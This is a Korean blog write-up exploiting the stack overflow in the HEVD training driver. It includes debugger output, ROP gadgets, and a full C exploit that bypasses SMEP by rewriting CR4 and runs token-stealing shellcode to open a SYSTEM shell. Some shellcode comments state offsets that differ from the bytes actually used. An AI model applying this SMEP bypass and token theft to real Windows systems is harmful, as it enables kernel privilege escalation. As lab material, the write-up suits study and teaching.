Write-up

[HEVD] StackOverflow

ch4rli3kop 2020. 10. 14. 17:29
반응형

[HEVD] StackOverflow

Stack Overflow 발생하는 과정은 생략.

Environment (ntoskrnl)

Microsoft Windows [Version 10.0.18362.1082]
(c) 2019 Microsoft Corporation. All rights reserved.

function name 검색

kd> x HEVD!*stack*
fffff802`5c346594 HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c3466e0 HEVD!TriggerBufferOverflowStackGS (void *, unsigned int64)
fffff802`5c34776c HEVD!TriggerUninitializedMemoryStack (void *)
fffff802`5c3478ac HEVD!UninitializedMemoryStackObjectCallback (void)
fffff802`5c3465b4 HEVD!TriggerBufferOverflowStack (void *, unsigned int64)
fffff802`5c347890 HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c3466c0 HEVD!BufferOverflowStackGSIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c345091 HEVD!IoGetCurrentIrpStackLocation = (inline caller) HEVD!IrpDeviceIoCtlHandler+19

Break Point

디버깅하면서 브포는 대충 이렇게 하고 분석하믄 됨.

kd> bp HEVD!TriggerBufferOverflowStack
kd> bp fffff802`5c34667e
kd> bp fffff802`5c3466bf

Gadget

pop rcx; ret

kd> nt!HvlEndSystemInterrupt+0x1e:
fffff802`5d9bed7e 5a             pop     rdx
fffff802`5d9bed7f 58             pop     rax
fffff802`5d9bed80 59             pop     rcx <<<<<<<<<<<<<<<<<<<<<
fffff802`5d9bed81 c3             ret

mov cr4, rcx; ret

kd> uf KiEnableXSave
nt!KiEnableXSave:
fffff802`5dd9ead0 0f20e1         mov     rcx,cr4
fffff802`5dd9ead3 48f705f238fdff00008000 test qword ptr [nt!KeFeatureBits (fffff802`5dd723d0)],800000h
...
fffff802`5dda6a51 0f22e1         mov     cr4,rcx <<<<<<<<<<<<<<<<<<<<<
fffff802`5dda6a54 c3             ret

Analysis

TriggerBufferOverflowStack()에서 memcpy를 통해 Overflow 취약점이 발생한다.

TriggerBufferOverflowStack

HEVD!TriggerBufferOverflowStack:
fffff802`5c3465b4 48895c2408       mov     qword ptr [rsp+8], rbx ss:0018:fffff404`95027740=000000000000004d
fffff802`5c3465b9 4889742410       mov     qword ptr [rsp+10h], rsi
fffff802`5c3465be 48897c2418       mov     qword ptr [rsp+18h], rdi
...
fffff802`5c346673 4c8bc6           mov     r8, rsi
fffff802`5c346676 488bd7           mov     rdx, rdi
fffff802`5c346679 488d4c2420       lea     rcx, [rsp+20h]
fffff802`5c34667e e83dabf7ff       call   HEVD!memcpy (fffff802`5c2c11c0) <<<<<<<<<
fffff802`5c346683 eb1b             jmp     HEVD!TriggerBufferOverflowStack+0xec
...
fffff802`5c3466b9 415f             pop     r15
fffff802`5c3466bb 415e             pop     r14
fffff802`5c3466bd 415c             pop     r12
fffff802`5c3466bf c3               ret    

Shellcode

Certificate 정보 가져올 때, ActiveProcessLinksToken의 Offset을 사용하므로 알아둘 필요가 있음.

kd> dt nt!_EPROCESS
  +0x000 Pcb             : _KPROCESS
  +0x2e0 ProcessLock     : _EX_PUSH_LOCK
  +0x2e8 UniqueProcessId : Ptr64 Void
  +0x2f0 ActiveProcessLinks : _LIST_ENTRY <<<<<<<<<<<<<<<<<
  +0x300 RundownProtect   : _EX_RUNDOWN_REF
  +0x308 Flags2           : Uint4B
  +0x308 JobNotReallyActive : Pos 0, 1 Bit
  +0x308 AccountingFolded : Pos 1, 1 Bit
  +0x308 NewProcessReported : Pos 2, 1 Bit
  +0x308 ExitProcessReported : Pos 3, 1 Bit
  +0x308 ReportCommitChanges : Pos 4, 1 Bit
  +0x308 LastReportMemory : Pos 5, 1 Bit
  +0x308 ForceWakeCharge : Pos 6, 1 Bit
  +0x308 CrossSessionCreate : Pos 7, 1 Bit
...
  +0x340 VirtualSize     : Uint8B
  +0x348 SessionProcessLinks : _LIST_ENTRY
  +0x358 ExceptionPortData : Ptr64 Void
  +0x358 ExceptionPortValue : Uint8B
  +0x358 ExceptionPortState : Pos 0, 3 Bits
  +0x360 Token           : _EX_FAST_REF <<<<<<<<<<<<<<<<<<
  +0x368 MmReserved       : Uint8B
  +0x370 AddressCreationLock : _EX_PUSH_LOCK
  +0x378 PageTableCommitmentLock : _EX_PUSH_LOCK
  +0x380 RotateInProgress : Ptr64 _ETHREAD
  +0x388 ForkInProgress   : Ptr64 _ETHREAD
...
  +0x868 ParentSecurityDomain : Uint8B
  +0x870 CoverageSamplerContext : Ptr64 Void
  +0x878 MmHotPatchContext : Ptr64 Void

Exploit

다음과 같은 단계로 익스하였음.

  1. Bypass SMEP change cr4 to 0x00000000002506f8

  2. Run Shellcode

SMEP을 Recover 하지 않아도 실행잘됐음.

Shellcode를 실행한 뒤, flow를 복구해주기 위하여, HEVD!IrpDeviceIoCtlHandler+0x1db로 return 했음. rsp를 잘 맞춰주기 위하여, 쉘코드 실행 후, ret를 반복하여 rsp를 정상적인 과정처럼 맞춰주었음.

덮어쓴 공간 뒤로 가장 최신의 ret로 돌아가게 하였으며, 이 ret보다 더 높은 주소의 ret로 복구하게 되면 프로그램이 정상적으로 실행되지 않음.

fffff802`5c34524e e841130000     call    HEVD!BufferOverflowStackIoctlHandler (fffff802`5c346594)
fffff802`5c345253 4c8d0576300000 lea     r8, [HEVD! ?? ::NNGAKEGL::`string' (fffff802`5c3482d0)] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
fffff802`5c34525a e9b0040000     jmp     HEVD!IrpDeviceIoCtlHandler+0x697 (fffff802`5c34570f)
fffff802`5c34525f bb03000000     mov     ebx, 3

Code

#include <stdio.h>
#include <Windows.h>
#include <sddl.h>
#include <Psapi.h>

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)

typedef struct {
   LPVOID PopRcxRet;
   LPVOID Cr4RegValue;
   LPVOID MovCr4EcxRet;
} ROP, * PROP;

LPVOID kernelBase() {

   printf("[*] Preparing kernel information leak\n");

   LPVOID drivers[1000];
   DWORD cbNeeded;

   EnumDeviceDrivers(drivers, 1000, &cbNeeded);
   LPVOID kernelBaseAddr = drivers[0];
   printf("\t[+] Kernel base address @ 0x%p\n", kernelBaseAddr);

   return kernelBaseAddr;
}

int main() {
   HANDLE driverHandle;
   STARTUPINFOA si;
   PROCESS_INFORMATION pi;
   LPVOID lpvPayload;
   ROP DisableSMEP, EnableSMEP;

   ZeroMemory(&si, sizeof(STARTUPINFO));
   ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

   CHAR ShellCode[] =
       "\x51\x52\x41\x50\x41\x51\x50\x57\x56" // push rcx, rdx, r8, r9, rax, rdi, rsi
       "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
       "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
       "\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 448h] ; ActiveProcessLinks list head
       "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
       //find_system_proc:
       "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
       "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
       "\x74\x05" // jz found_system ; Found SYSTEM token
       "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
       "\xEB\xF1" // jmp find_system_proc ; Loop
       //found_system:
       "\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
       "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
       "\x49\x89\x80\x60\x03\x00\x00" // mov [r8 + 4b8h], rax ; Copy SYSTEM token to current process's token
       //recover:
       "\x5E\x5F\x58\x41\x59\x41\x58\x5A\x59" // pop rsi, rdi, rax, r9, r8, rdx, rcx
       // "\x48\x83\xc4\x40" // add rsp, 40h ; Set Stack Pointer to SMEP enable ROP chain
        // "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash
        // "\x48\x31\xFF" // xor rdi, rdi ; Zeroing out rdi register to avoid Crash
        // "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
       "\xc3" // ret
      ;

   printf("[*] Preparing shellcode\n");
   lpvPayload = VirtualAlloc(
       NULL, // Next page to commit
       sizeof(ShellCode), // Page size, in bytes
       MEM_COMMIT | MEM_RESERVE, // Allocate a committed page
       PAGE_EXECUTE_READWRITE); // Read/write access
   if (lpvPayload == NULL) {
       printf("\t[-] Failed to create shellcode memory\n");
       exit(1);
  }
   memcpy(lpvPayload, ShellCode, sizeof(ShellCode));
   printf("\t[+] Success to create shellcode\n");

   printf("[*] Opening handle to \\\\.\\HackSysExtremeVulnerableDriver\n");
   driverHandle = CreateFileA(
       "\\\\.\\HackSysExtremeVulnerableDriver",
       GENERIC_READ | GENERIC_WRITE,
       0,
       NULL,
       OPEN_EXISTING,
       FILE_ATTRIBUTE_NORMAL,
       NULL
  );
   if (driverHandle == INVALID_HANDLE_VALUE) {
       printf("\t[-] Could not open HEVD handle\n");
       return 0;
  }
   printf("\t[+] Success to open handle\n");

   LPVOID kernelBaseAddr = kernelBase();

   printf(" [*] Preparing SMEP Bypass ROP Chain\n");
   DisableSMEP.PopRcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x01bed80);
   DisableSMEP.Cr4RegValue = (PUCHAR)0x2506f8;
   DisableSMEP.MovCr4EcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x05a6a51);
   //EnableSMEP.PopRcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x01bed80);
   //EnableSMEP.Cr4RegValue = (PUCHAR)0x3506f8;
   //EnableSMEP.MovCr4EcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x05a6a51);

   unsigned long long PopR14Ret = (LPVOID)(((INT_PTR)kernelBaseAddr) + 0x01bebfa);
   printf("\t[+] pop rcx ; ret @ 0x%p\n", DisableSMEP.PopRcxRet);
   printf("\t[+] new CR4 @ 0x%p\n", DisableSMEP.Cr4RegValue);
   printf("\t[+] mov cr4, ecx ; ret @ 0x%p\n", DisableSMEP.MovCr4EcxRet);


   printf("[*] Preparing buf\n");

   char* buf = (char*)VirtualAlloc(NULL, 0x870, MEM_COMMIT | MEM_RESERVE,
       PAGE_EXECUTE_READWRITE);
   SecureZeroMemory(buf, 0x870);

   unsigned long long ret[6] = { (unsigned long long)(EnableSMEP.PopRcxRet) + 1, (unsigned long long)(EnableSMEP.PopRcxRet) + 1, (unsigned long long)(EnableSMEP.PopRcxRet) + 1, PopR14Ret };


   memset(buf, 0x00, 0x818);
   memcpy(buf + 0x818, &DisableSMEP, sizeof(ROP));
   memcpy(buf + 0x818 + 0x8 * 3, &lpvPayload, sizeof(LPVOID));
   //memcpy(buf + 0x818 + 0x8 * 4, &EnableSMEP, sizeof(ROP));
   memcpy(buf + 0x818 + 0x8 * 4, ret, 0x10);

   printf("[*] Send payload\n");
   if (!DeviceIoControl(driverHandle, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, buf, 0x818 + 0x18 + 8 + 0x10, NULL, 0, NULL, NULL)) {
       printf("\t[-] Error sending IOCTL to driver\n");
       return 0;
  }
   
   printf("\t[+] Success\n");
   system("cmd.exe");
}

Demo

반응형

'Write-up' 카테고리의 다른 글

TFCCTF 2022 Write-up  (0) 2022.08.02
[CSAW 2020] PwnVoltex  (0) 2020.10.14
[GoogleCTF2020] Android writeup  (2) 2020.08.31
[MidnightSun CTF 2020] StarCraft writeup  (0) 2020.07.26
Uncrackable 2  (0) 2020.07.15